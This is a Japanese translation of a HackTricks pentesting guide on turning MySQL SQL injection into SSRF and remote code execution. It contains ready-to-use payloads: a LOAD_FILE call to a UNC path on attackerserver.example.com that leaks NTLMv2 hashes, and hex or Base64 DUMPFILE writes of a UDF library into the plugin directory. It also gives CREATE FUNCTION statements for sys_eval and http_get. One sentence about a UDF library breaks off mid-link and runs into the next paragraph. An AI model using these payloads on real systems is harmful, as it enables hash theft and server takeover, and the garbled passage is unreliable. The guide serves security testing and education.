hacktricks/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md

10 KiB
Raw Blame History

MySQLファイル特権からSSRF/RCEへ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

LOAD_FILE/LOAD DATA/LOAD XMLからSSRFへ

SQL Out of Bandデータの外部流出の記事では、ネットワークリクエストを行うためにLOAD_FILE()文字列関数を使用します。この関数自体には、実行されるオペレーティングシステムとデータベースの起動設定に基づく制限があります。

たとえば、secure_file_privグローバル変数が設定されていない場合、デフォルト値は/var/lib/mysql-files/に設定されます。つまり、LOAD_FILE('filename')LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablenameのような関数を使用して、/var/lib/mysql-files/ディレクトリからファイルを読み取ることしかできません。このディレクトリ以外のファイルを読み取るには、secure_file_privオプションを""に設定する必要があります。これは、データベースの設定ファイルを更新するか、データベースサービスの起動パラメータとして--secure_file_priv=""を渡すことでのみ行うことができます。

ただし、secure_file_priv""に設定されている場合、現在のデータベースユーザーのmysql.userfile_privYに設定されている場合、システム上の他のファイルを読み取ることができるはずです。ただし、これらの関数を使用してネットワーク呼び出しを行うことは、非常にオペレーティングシステムに依存しています。これらの関数はファイルの読み取りのみを目的としているため、UNCパスWindowsホスト上のUNC命名規則を理解するWindowsのCreateFileA APIへのネットワーク関連の呼び出しのみが可能です。

したがって、対象のデータベースがWindowsマシン上で実行されている場合、インジェクションクエリx'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //は、WindowsマシンがNTLMv2ハッシュを送信し、攻撃者が制御する\\attackerserver.example.comに認証しようとすることになります。

このサーバーサイドリクエストフォージェリSSRFは、便利ですが、TCPポート445に制限されています。ポート番号を制御することはできませんが、読み取り権限が完全に設定された共有から情報を読み取ることができます。また、古い研究で示されているように、この制限付きのSSRF機能を使用してハッシュを盗み、それらをリレーしてシェルを取得することもできます。

ユーザー定義関数からRCEへ

MySQLデータベースのもう一つのクールなテクニックは、MySQL内からアクセスできる外部ライブラリファイルに存在するユーザー定義関数UDFを使用することです。

SQLインジェクションを使用して、ネットワーク/HTTPリクエストを行うことができるユーザー定義関数を含むライブラリ.soまたは.dll、LinuxまたはWindowsによる作成することができます。その後、追加のクエリを介して呼び出すことができます。

ただし、これには制限があります。select @@versionで識別できるMySQLのバージョンに基づいて、プラグインをロードできるディレクトリが制限されています。MySQLのバージョンv5.0.67未満では、plugin_dir変数が設定されていない場合、システムパスからライブラリファイルをロードすることができました。これは現在変更されており、新しいバージョンでは**plugin_dir**変数が/usr/lib/mysql/plugin/のような値に設定されています。これは通常、rootが所有しています。

基本的には、MySQLにカスタムライブラリをロードし、SQLインジェクションを介してロードされたライブラリから関数を呼び出すためには、次の条件が必要です。

  • SQLインジェクションを介して**@@plugin_dirで指定された場所に書き込む**機能
  • 現在のデータベースユーザーのmysql.userで**file_privY**に設定されていること
  • ネットワークまたはWebアプリケーションのファイルアップロードディレクトリなど、任意の場所からライブラリの生のバイトを読み取るために**secure_file_priv""**に設定すること

上記の条件が満たされていると仮定すると、**[人気のあるMySQL UDF `lib_mysqludf いずれの場合でも、ライブラリをデータベースサーバーに転送する必要があります。複数の方法でこれを行うことができます。

  1. MySQLのhex()文字列関数やxxd -p filename.so | tr -d '\n'のような方法を使用して、ライブラリの内容を16進数形式に変換し、それを@@plugin_dirディレクトリにダンプします。x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //を使用します。
  2. 代わりに、filename.soの内容をBase64に変換し、x';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //を使用します。

@@plugin_dirが書き込み可能でない場合、バージョンがv5.0.67以上であれば運が悪いです。それ以外の場合は、パスにある別の場所に書き込み、次の方法でUDFライブラリをロードします。

  • lib_mysqludf_sysライブラリの場合 - x';create function sys_eval returns string soname 'lib_mysqludf_sys.so'; -- //
  • mysql-udf-httpライブラリの場合 - x';create function http_get returns string soname 'mysql-udf-http.so'; -- //

これを自動化するために、SQLMapを使用することができます。SQLMapは、カスタムUDFの使用をサポートしています。--udf-injectオプション

Blind SQLインジェクションの場合、UDF関数の出力を一時テーブルにリダイレクトしてから、そこからデータを読み取るか、DNSリクエストをsys_evalまたはsys_execカールコマンド内に隠し込むことができます。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥